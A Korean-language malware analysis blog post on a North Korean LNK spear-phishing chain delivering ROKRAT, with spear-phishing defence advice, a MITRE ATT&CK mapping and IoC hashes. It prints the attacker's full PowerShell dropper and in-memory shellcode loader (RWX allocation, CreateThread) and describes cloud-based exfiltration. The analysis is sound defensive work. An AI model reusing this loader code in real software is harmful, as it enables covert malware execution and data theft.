1. Intro.
지난 2024년 2월 22일, 트위터를 통해 악성 파일 "반국가세력에 안보기관이 무력해서는 안된다.zip"의 탐지 이력이 공개되었다.
본 블로그 글에서는 해당 악성 코드 샘플을 확보하여, 최근 북한 해킹 그룹이 사용하는 LNK 파일 공격 행위를 분석하고자 한다.
2. LNK 공격의 흐름
2-1) 개요도
2-2) LNK를 이용한 최초 침투
압축 파일 “(안보칼럼) 반국가세력에 안보기관이 무력해서는 안된다.zip”에는 동일한 파일명의 LNK 파일이 포함되어 있다.
LNK 파일은 외부 프로그램을 연결하기 위해 원본 대상을 지정할 수 있는데, 공격자들은 이를 활용하여 명령어를 실행하는 방식으로 공격을 수행한다. 해당 LNK 파일의 속성 확인 결과, 대상 경로에 ‘cmd.exe’ 시스템 명령과 함께 별도의 인자 값이 실행되도록 구성된 것을 확인할 수 있다.
LECmd 프로그램을 사용하여 LNK 파일의 구조를 파싱한 결과, 다음과 같이 ‘cmd.exe’의 전체 실행 인자 값을 확인할 수 있다.
cmd.exe를 사용하여 Powershell을 호출한 다음, 'user32.dll'의 Windows API를 활용하여 cmd 창을 숨긴다. 만약 현재 경로가 시스템 폴더에 위치한 경우 %temp% 폴더 경로로 변경한다. 그 후, LNK 데이터를 offset 단위로 분할하여 동일한 파일명을 갖는 HWP 파일과 함께 3개의 악성 파일(public.dat, temp.dat, working.bat)을 생성한다.
이때, HWP 파일을 실행하여 정상적인 문서 파일을 실행한 것처럼 위장하고, 생성한 악성 파일 중 working.bat을 실행하여 공격을 이어간다. 마지막으로 LNK 파일을 자가 삭제한다.
%windir%\SysWOW64\cmd.exe /k for /f "tokens=*" %a in ('dir C:\Windows\SysWow64\WindowsPowerShell\v1.0\*rshell.exe /s /b /od') do call %a "
// cmd 실행 창 숨기기
$t1 = 'user32.dll';
$t = 'using System;
using System.Runtime.InteropServices;
public class User32 {
[DllImport(' + [System.Text.Encoding]::UTF8.GetString(34) + $t1 + [System.Text.Encoding]::UTF8.GetString(34) + ', SetLastError = true)]
public static extern IntPtr FindWindow(string lpClassName, string lpWindowName);
[DllImport(' + [System.Text.Encoding]::UTF8.GetString(34) + $t1 + [System.Text.Encoding]::UTF8.GetString(34) + ')]
[return: MarshalAs(UnmanagedType.Bool)]
public static extern bool ShowWindow(IntPtr hWnd, int nCmdShow);
}';
Add-Type -TypeDefinition $t;
$proName = 'powershell.exe';
$cmdMainWindowHandle = [User32]::FindWindow([NullString]::Value, $proName);[User32]::ShowWindow($cmdMainWindowHandle, 0);
// 현재 위치가 'System32'거나 'Program Files' 하위이면 '%temp%'로 변경
$dirPath = Get-Location;
if($dirPath -Match 'System32' -or $dirPath -Match 'Program Files') {$dirPath = '%temp%'};
// LNK 데이터를 분할하여 HWP 파일 생성 및 실행
$lnkPath = Get-ChildItem -Path $dirPath -Recurse *.lnk | where-object {$_.length -eq 0x0DD6DA21} | Select-Object -ExpandProperty FullName;
$lnkFile=New-Object System.IO.FileStream($lnkPath, [System.IO.FileMode]::Open, [System.IO.FileAccess]::Read);
$lnkFile.Seek(0x0000162E, [System.IO.SeekOrigin]::Begin);
$pdfFile=New-Object byte[] 0x00042C00;
$lnkFile.Read($pdfFile, 0, 0x00042C00);
$pdfPath = $lnkPath.replace('.lnk','.hwp');
sc $pdfPath $pdfFile -Encoding Byte;& $pdfPath;
// LNK 데이터를 분할하여 public.dat 파일 생성
$lnkFile.Seek(0x0004422E,[System.IO.SeekOrigin]::Begin);
$exeFile=New-Object byte[] 0x000D9402;
$lnkFile.Read($exeFile, 0, 0x000D9402);
$exePath=$env:public+'\'+'public.dat';
sc $exePath $exeFile -Encoding Byte;
// LNK 데이터를 분할하여 temp.dat 파일 생성
$lnkFile.Seek(0x0011D630,[System.IO.SeekOrigin]::Begin);
$stringByte = New-Object byte[] 0x000005AA;
$lnkFile.Read($stringByte, 0, 0x000005AA);
$batStrPath = $env:temp+'\'+'temp.dat';
$string = [System.Text.Encoding]::UTF8.GetString($stringByte);
$string | Out-File -FilePath $batStrPath -Encoding ascii;
// LNK 데이터를 분할하여 working.bat 파일 생성 및 실행
$lnkFile.Seek(0x0011DBDA,[System.IO.SeekOrigin]::Begin);
$batByte = New-Object byte[] 0x00000135;
$lnkFile.Read($batByte, 0, 0x00000135);
$executePath = $env:temp+'\'+'working.bat';
Write-Host $executePath;
Write-Host $batStrPath;
$bastString = [System.Text.Encoding]::UTF8.GetString($batByte);
$bastString | Out-File -FilePath $executePath -Encoding ascii;& $executePath;
// LNK 파일 자가 삭제
$lnkFile.Close();
remove-item -path $lnkPath -force;"&& exit
LNK 내부 데이터가 offset 단위로 분할되는 구조는 아래와 같다.
LNK 파일 실행의 최종 결과물은 아래와 같다.
IDX | FileName | FilePath |
---|---|---|
1 | (안보칼럼) 반국가세력에 안보기관이 무기력해서는 안된다.hwp | %LNKPath% |
2 | public.dat | C:\Users\Public |
3 | temp.dat | C:\Users\%User%\AppData\Local\Temp |
4 | working.bat | C:\Users\%User%\AppData\Local\Temp |
2-3) PowerShell 스크립트 실행
공격자는 Powershell을 활용하여 악성 스크립트를 연계적으로 실행하는 특징을 지닌다.
working.bat은 %Temp% 경로에 위치한 temp.dat을 Powershell ScriptBlock으로 실행하는 기능을 수행한다.
start /min C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe -windowstyle hidden
"$stringPath=$env:temp+'\'+'temp.dat';
$stringByte = Get-Content -path $stringPath -encoding byte;
$string = [System.Text.Encoding]::UTF8.GetString($stringByte);
$scriptBlock = [scriptblock]::Create($string);&$scriptBlock;"
temp.dat은 'kernel32.dll'의 GlobalAlloc() 함수와 VirtualProtect() 함수를 활용하여 임의의 코드를 실행할 메모리 공간을 할당하고 읽기/쓰기/실행(RWX) 권한을 부여한다. 그 후, 쉘코드(shellcode) public.dat를 해당 메모리 영역에 쓰고 쉘코드를 실행하기 위한 Thread를 생성한다.
$exePath=$env:public+'\'+'public.dat';
$exeFile = Get-Content -path $exePath -encoding byte;
[Net.ServicePointManager]::SecurityProtocol = [Enum]::ToObject([Net.SecurityProtocolType], 3072);
// 함수 정의
$k1123 = [System.Text.Encoding]::UTF8.GetString(34) + 'kernel32.dll' + [System.Text.Encoding]::UTF8.GetString(34);
$a90234s = '[DllImport(' + $k1123 + ')]public static extern IntPtr GlobalAlloc(uint b,uint c);';
$b = Add-Type -MemberDefinition $a90234s -Name 'AAA' -PassThru;
$d3s9sdf = '[DllImport(' + $k1123 + ')]public static extern bool VirtualProtect(IntPtr a,uint b,uint c,out IntPtr d);';
$a90234sb = Add-Type -MemberDefinition $d3s9sdf -Name 'AAB' -PassThru;
$b3s9s03sfse = '[DllImport(' + $k1123 + ')]public static extern IntPtr CreateThread(IntPtr a,uint b,IntPtr c,IntPtr d,uint e,IntPtr f);';
$cake3sd23 = Add-Type -MemberDefinition $b3s9s03sfse -Name 'BBB' -PassThru;
$dtts9s03sd23 = '[DllImport(' + $k1123 + ')]public static extern IntPtr WaitForSingleObject(IntPtr a,uint b);';
$fried3sd23 = Add-Type -MemberDefinition $dtts9s03sd23 -Name 'DDD' -PassThru;
// 'kernel32.dll'의 WindowsAPI 이용하여 메모리 할당 및 권한 부여
$byteCount = $exeFile.Length;
$buffer = $b::GlobalAlloc(0x0040, $byteCount + 0x100);
$old = 0;$a90234sb::VirtualProtect($buffer, $byteCount + 0x100, 0x40, [ref]$old);
// 쉘코드 public.dat 메모리 공간에 로드
for($i = 0;$i -lt $byteCount;$i++)
{ [System.Runtime.InteropServices.Marshal]::WriteByte($buffer, $i, $exeFile[$i]); };
// Thread 실행
$handle = $cake3sd23::CreateThread(0, 0, $buffer, 0, 0, 0);
$fried3sd23::WaitForSingleObject($handle, 500 * 1000);
2-4) Shellcode 분석
Thread에서 실행되는 쉘코드 public.dat는 고정된 1 byte(0x29)로 XOR 계산 과정을 거쳐 offset (0x802)부터 악성 파일을 복호화한다. 메모리에 적재된 이 악성 파일은 윈도우 실행 파일(PE)인 32Bit 형태의 EXE 파일이며, 패킹되지 않은 상태이다.
shellcode에 의해 메모리에서 복호화되어 실행되는 EXE 파일은 다음과 같은 악성 코드 특징을 보인다.
- 첫째, 메인 악성 행위를 실행하기 전에, 감염된 컴퓨터에 대한 기본 정보를 수집하였다.
- 피해자의 PC 정보를 획득한 공격자는 후속 공격에 유용하게 활용할 수 있다.
- ROKRAT 악성코드의 구조에서도 PC 정보를 수집하는 동일한 패턴이 확인되었다.
- 둘째, 메인 Thread가 실행되고 Switch 구문을 통해 단일 문자 혹은 숫자를 인자로 받아 각기 다른 명령을 실행하였다.
- 이 구조화된 Switch 명령 체계는 알려진 ROKRAT 악성 코드와 매우 유사하다.
- 셋째, EXE 파일의 내부 기능을 실행하는 데 필요한 데이터 일부는 고정값으로 설정되어 있어 악성 코드 식별자 역할을 하였다.
- 문자열 "--wwjaughalvncjwiajs--"은 ROKRAT에서 클라우드 API 요청 시 사용하는 고정 문자열이다.
- 문자열 "KB4009278"은 ROKRAT에서 별도의 악성 프로그램 생성 시에 파일명으로 사용하는 고정 문자열이다.
실행 파일의 행위 및 패턴을 종합적으로 비교 분석한 결과, shellcode에서 실행된 EXE 파일을 ROKRAT 계열로 특정하게 되었다.
2-5) ROKRAT 분석
ROKRAT 악성코드는 피해 대상의 컴퓨터명, 사용자명 등과 같은 컴퓨터 정보를 수집하고, 문서 파일 및 피해 대상 PC의 스크린샷 캡처 등 공격자가 탈취하고자 하는 정보나 파일을 공공 클라우드 서비스에 저장하는 것으로 알려져 있다.
ROKRAT 악성코드
- 2017년에 해외의 보안 업체 Cisco Talos에 의해 처음 보고
- 취약점이 있는 한글 문서 파일(HWP) 혹은 매크로가 포함된 오피스 문서 파일(DOCX)을 통해 감염 시작
- 최근 들어 감염 체인이 일반적인 문서로 위장한 LNK 파일을 통해 전달되는 방식으로 변화
- 초기 발견된 ROKRAT은 Twitter를 C2로 활용하거나 특정 클라우드 서비스(Yandex/MediaFire)를 이용한 이력 존재
- 최근에는 pCloud/Yandex/Dropbox 3개의 클라우드 서비스에 의존하는 경향이 두드러짐
이번에 LNK 파일을 통해 전파된 ROKRAT 악성코드는 외부에 공개된 해시값이 없는 것으로 보아, 새로운 악성코드로 추정된다.
이에 따라 분석 대상인 ROKRAT의 악성 행위를 자세히 분석해 보았다.
- PC 기본 정보 수집
- WinMain 함수에서 메인 Thread를 실행하기 전에 피해자 PC 정보를 수집한다.
1. Windows OS Build Number
2. Computer Name
3. User Name
4. Current Process Path
5. System Product
6. vmtools Version
7. System Bios Version
- 명령 체계
- Switch 문을 사용하여 공격자가 지정한 악성 명령을 수행하도록 설정되어 있다.
- Case 인자는 1부터 9까지의 숫자 혹은 b부터 j까지의 알파벳으로 식별되며, 각 명령 내용은 아래 표와 같다.
Switch Case | Command | 비고 |
---|---|---|
j | - 프로세스 종료 및 재시작 | |
b | - 프로세스 종료 (ExitProcess) | |
d | - 공격 파일 삭제 (VBS, CMB, BAT, LNK) - 프로세스 종료 (ExitProcess) |
|
f | - 공격 파일 삭제 (VBS, CMD, BAT) - 프로세스 종료 및 재시작 |
|
h | - (이동식/고정/네트워크) 드라이브일 경우, 드라이브 하위 전체 파일 목록 저장 (%TEMP%) - 드라이브 파일 목록 클라우드에 업로드 |
클라우드 파일명 형식 - /Comment/{rand(%04X)}292ACC33D2{rand(%04X)} |
1,2,3,4 | - 클라우드에서 파일 다운로드 및 Thread 생성 - cmd.exe 명령 실행 - "r.txt" 파일 생성 (%TEMP%) 및 "r.txt"에 시스템 정보 저장 - 파일 형식 변경하여 클라우드에 업로드 |
클라우드 파일명 형식 - /Comment/{rand(%04X)}292ACC33D2{rand(%04X)} |
5,7,8 | - 프로세스 종료 (ExitProcess) | |
6 | - URL 연결 (InternetOpenUrlA) - 특정 파일 데이터를 읽어와 "KB400928_doc.exe"에 쓰기 및 실행 |
|
9 | - 클라우드 API 토큰 초기화 작업 - 클라우드에서 파일 다운로드한 후, 복호화 내용을 "KB400928_doc.exe"에 쓰기 및 실행 |
|
e | - cmd.exe 명령 수행 | |
c | - 문서 파일 대상으로 클라우드에 업로드 |
클라우드 파일명 형식 - /Comment/{rand(%04X)}292ACC33D2{rand(%04X)} |
- 이번에 분석한 ROKRAT과 기존 ROKRAT 간에 몇 가지 차이점이 발견되었다.
- (1) 시스템 정보를 저장하는 txt 파일명 변경 ("out.txt" -> "r.txt")
- (2) 클라우드에 업로드하는 파일명의 형식 중 다른 5 byte 값을 사용 (분석 ROKRAT에서는 "292ACC33D2")
- (3) 수행되는 공격 명령에 대한 Switch 인자 변경
(과거에는 5, 8 인자 값이 KB400927_doc.exe 생성을 위한 명령 인자로 사용된 이력 존재) - (4) Switch Case 사용 구조 변경 (Nested-Switch Case -> Consecutive switch Case)
- 스크린샷 캡처 및 클라우드 업로드
캡처된 스크린샷 사진 데이터에 시스템 정보를 추가하여 함께 암호화하고, 이를 클라우드에 업로드하는 과정은 다음과 같다.
- PC 화면을 실시간으로 캡처하여 JPEG 형식으로 저장하고, 이를 %TEMP% 경로에 tmp 확장자로 저장한다.
- Path: C:\Users\%User%\Appdata\Local\Temp\rand(%04X)rand(%04X).tmp
- PC 기본 정보, 스크린샷 캡처 사진 데이터, 프로세스 목록을 메모리에 순서대로 나열하여 한 번에 XOR 연산을 진행한다.
- PC 기본 정보는 암호화 대상 데이터의 가장 앞부분에 위치하며, 이 정보는 고정된 4 Byte 값(FA DE AD BA)으로 시작된다.
- 처음 XOR 단계에서는 랜덤한 4 byte 값이 사용되지만, 원본 데이터에 대한 고정된 시그니처가 존재하여 공격자는 랜덤하게 XOR 암호화된 데이터를 역으로 계산하여 복호화할 수 있다.
- AES-CBC 기반의 대칭키를 사용하여 데이터를 한 번 더 암호화한다.
- AES 암호화에 사용된 대칭키는 RSA로 암호화된 후에 데이터 앞 부분에 추가된다.
- 최종적으로 데이터는 XOR 연산, AES 연산, 그리고 AES 키를 위한 RSA 과정을 거쳐 암호화가 완료된다.
- 클라우드 API를 통해 XOR-AES(CBC)-Reverse 방식으로 암호화된 데이터를 파일 단위로 업로드한다.
- 클라우드 API를 사용할 때도 TLS 프로토콜(HTTPS)을 통해 패킷 단위에서 추가로 암호화가 이루어진다.
- 데이터가 업로드되는 동안에도 암호화되어 전송되므로, 악성 행위의 탐지와 분석을 어렵게 만드는 요소이다.
ROKRAT에서 클라우드 API를 통해 요청하는 URL 형식은 아래 표와 같다.
클라우드 유형 | 행위 | API HTTP Request URL |
---|---|---|
pCloud | 파일 목록 | https://api.pcloud.com/listfolder?path=%s |
파일 업로드 | https://api.pcloud.com/uploadfile?path=%s&filename=%s&nopartial=1 | |
파일 다운로드 | https://api.pcloud.com/getfilelink?path=%s&forcedownload=1&skipfilename=1 | |
파일 삭제 | https://api.pcloud.com/deletefile?path=%s | |
Yandex | 파일 목록 | https://cloud-api.yandex.net/v1/disk/resources?path=%s&limit=50 |
파일 업로드 | https://cloud-api.yandex.net/v1/disk/resources/upload?path=%s&overwrite=%s | |
파일 다운로드 | https://cloud-api.yandex.net/v1/disk/resources/download?path=%s | |
파일 삭제 | https://cloud-api.yandex.net/v1/disk/resources?path=%s&permanently=%s | |
Dropbox | 파일 목록 | https://api.dropboxapi.com/2/files/list_folder |
파일 업로드 | https://content.dropboxapi.com/2/files/upload | |
파일 다운로드 | https://content.dropboxapi.com/2/files/download | |
파일 삭제 | https://api.dropboxapi.com/2/files/delete |
클라우드 API를 활용하기 위해서는 인증에 필요한 키나 액세스 토큰(access-token)과 같은 자격 증명이 필요하다. 코드 분석 중에 공격자가 사용하는 클라우드(pCloud,Yandex)의 자격 증명을 확보하여 클라우드 계정 정보와 파일 목록을 확인할 수 있었다.
- pCloud 클라우드 서비스
- Yandex 클라우드 서비스
3. 스피어피싱(Spear Phishing) 대응 방안
북한 해킹 그룹은 사회공학 기법을 이용하여 북한 전문가로 위장하여 악성 파일이 첨부된 이메일을 전송했을 가능성이 높다.
보안에 대한 이해가 부족한 사용자는 정상적인 문서로 착각하여 실행할 수 있고, 악성 프로그램이 눈에 띄지 않는 경우가 많아 피해를 인지하는 것이 쉽지 않을 수 있다.
이에 스피어 피싱 메일에 대응하기 위한 효과적인 두 가지 대응 방법을 소개하고자 한다.
- 발신자의 신뢰성을 검증하는 방법
- 공식적인 도메인인지 확인
타이포스쿼팅(typosquatting) 공격으로 올바른 도메인을 모방하여 사용자를 속이는 경우가 있다. 스펠링이나 구조적인 차이 등을 통해 구별할 수 있으므로 발신자의 이메일 주소를 주의 깊게 살펴보는 것이 중요하다. 아래 표는 타이포스쿼팅 공격의 사례이다.
정상 | 악성 |
---|---|
user1@naver.com | user1@naver-com.cc |
user2@google.com | user2@goog1e.com |
user3@daum.net | user3@dauum.net |
- 이전에 송수신한 이력이 존재하는지 확인
특정 인물을 대상으로 시도하는 스피어 피싱은 악성 메일을 직접 보내기 전에 일반적인 메일을 통해 신뢰를 쌓기도 하고, 때로는 즉시 악성 메일을 전송하기도 한다. 그렇기 때문에 발신자와 이전에 주고받은 메일을 확인함으로써 안전한 발신 주소인지를 판단하는 것이 중요하다.
- 악성 파일 실행을 예방하는 방법
- 파일 형식을 확인
윈도우에서는 기본적으로 '확장자 숨기기' 옵션이 활성화되어 있어 파일 형식을 식별하기 어려운 경우가 많다. 첨부파일을 다운로드한 후에는 파일 속성 정보를 통해 파일 형식이 예상한 것과 일치하는지 확인하여, 일차적으로 파일의 정상 여부를 확인할 수 있다.
- 문서 작업용 가상 컴퓨터 구축
고도화된 공격자들은 백신을 우회하거나 탐지가 어려운 공격을 시도하고 있으며, 이에 대한 완벽한 예방은 어려운 과제이다. 그러므로 문서 작업용 가상 컴퓨터를 구축하여 문서 작업을 폐쇄적으로 수행하는 것이 안전하다.
문서 작업용 가상 컴퓨터 구축 시나리오
- VMware나 VirtualBox와 같은 가상머신(VM)으로 별도의 윈도우 가상 환경을 구축한다.
- 윈도우 가상 환경은 외부 인터넷 네트워크와 완전히 차단한다.
- 가상 환경에 문서 소프트웨어인 한글 뷰어나 오피스365 등을 설치하여 문서를 편집할 수 있도록 한다.
- (반복) 첨부 파일을 포함한 외부 문서 파일은 이 가상 환경으로 옮겨 작업하며, 본체 컴퓨터에서는 문서 열람을 금한다.
가상머신을 구축하여 사용하는 것은 초기에는 적응하기 어려울 수 있지만, 컴퓨터에서 백신 프로그램만 의존하는 것보다 확실하고 안전한 방법이다. 가상 환경을 통해 문서 작업을 수행함으로써 공격자는 주 컴퓨터에 악의적인 영향을 미치지 못하게 된다. 이는 예방 차원에서 직접적인 대비책으로서, 실천하기 어렵지만 효과적인 방법일 수 있다.
4. 마치며
악성 LNK 파일을 실행하면 생성되는 HWP 파일은 정상 문서 파일을 모방한 디코이(Decoy)로 확인된다.
외부에 공개된 “내외뉴스통신”의 안보 칼럼과 동일한 내용으로 구성되어 있어, 공격자는 공개된 자료를 선별하여 미끼 파일로 활용한 것으로 판단된다. 파일 제목과 내용을 통해, 공격 대상자는 대북 정책 관련 인사로 추정되는 점도 주목할 만하다.
북한 해킹 공격 그룹은 최근 LNK 파일을 이용해 공격 명령을 전달하여 사이버 공격을 적극적으로 수행하고 있다.
앞으로 공격 행위가 어떻게 변화하고 어떤 세부적인 변화가 있었는지 파악해 볼 예정이며, 가능하다면 공격자가 사용하는 기술적 기법을 비교 분석하여 방어 전략을 체계화하고 킬체인을 차단할 수 있는 대응 방안을 마련해 보고자 한다.
본 게시글을 통해 공유되는 정보가 보안 전문가와 그 이외에도 관심 있는 분들에게 도움이 되기를 바라며, 이상 글을 마친다.
부록
MITRE ATT&CK
Tactics | Techniques |
---|---|
Initial Access | (T1566.001) Phishing: Spearphishing Attachment |
Execution | (T1204.002) User Execution: Malicious File (T1059.001) Command and Scripting Interpreter: PowerShell (T1059.003) Command and Scripting Interpreter: Windows Command Shell (T1106) Native API |
Defense Evasion | (T1027.009) Obfuscated Files or Information: Embedded Payloads (T1027.010) Obfuscated Files or Information: Command Obfuscation (T1055) Process Injection (T1622) Debugger Evasion |
Discovery | (T1082) System Information Discovery (T1083) File and Directory Discovery (T1033) System Owner/User Discovery |
Collection | (T1005) Data from Local System (T1113) Screen Capture |
Command and Control | (T1102.002) Web Service: Bidirectional Communication |
IoC
MD5
- 5F6682AD9DA4590CBA106E2F1A8CBE26 : LNK 파일
- A1640EB8F424EBE13B94955F8D0F6843 : working.bat
- 78480139D86520BA82766C5B3C9A7479 : temp.dat
- 31AEB43B981D4D6272193E321BB21333 : public.dat
- 7BCE02DC0026E271615D4D0E441CA397 : RokRAT 악성코드 (exe)